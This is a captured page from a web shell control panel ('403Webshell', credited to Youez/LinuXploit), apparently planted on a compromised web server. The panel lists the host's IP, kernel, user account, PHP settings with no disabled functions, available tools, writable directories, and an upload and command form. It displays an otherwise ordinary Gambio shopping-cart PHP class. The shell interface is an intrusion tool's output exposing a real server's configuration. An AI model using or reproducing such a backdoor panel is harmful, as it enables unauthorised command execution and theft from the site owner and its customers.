403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/GXMainComponents/Services/Core/ShoppingCart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/GXMainComponents/Services/Core/ShoppingCart/SharedShoppingCart.inc.php
<?php
/* --------------------------------------------------------------
   SharedShoppingCart.inc.php 2018-05-16
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2018 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

/**
 * Class SharedShoppingCart
 *
 * @category   System
 * @package    ShoppingCart
 */
class SharedShoppingCart implements SharedShoppingCartInterface
{
    /**
     * @var string
     */
    protected $hash;
    
    /**
     * @var string
     */
    protected $shoppingCartJson;
    
    /**
     * @var DateTime
     */
    protected $creationDate;
    
    /**
     * @var int
     */
    protected $customerId;
    
    
    /**
     * SharedShoppingCart constructor.
     *
     * @param \StringType $hash
     * @param \StringType $shoppingCartJson
     * @param \DateTime   $creationDate
     * @param \IdType     $customerId
     */
    public function __construct(
        StringType $hash,
        StringType $shoppingCartJson,
        DateTime $creationDate,
        IdType $customerId
    ) {
        $this->hash             = $hash->asString();
        $this->shoppingCartJson = $shoppingCartJson->asString();
        $this->creationDate     = $creationDate;
        $this->customerId       = $customerId->asInt();
    }
    
    
    /**
     * @return string
     */
    public function getHash()
    {
        return $this->hash;
    }
    
    
    /**
     * @return string
     */
    public function getShoppingCartJson()
    {
        return $this->shoppingCartJson;
    }
    
    
    /**
     * @return \DateTime
     */
    public function getCreationDate()
    {
        return $this->creationDate;
    }
    
    
    /**
     * @return int
     */
    public function getCustomerId()
    {
        return $this->customerId;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit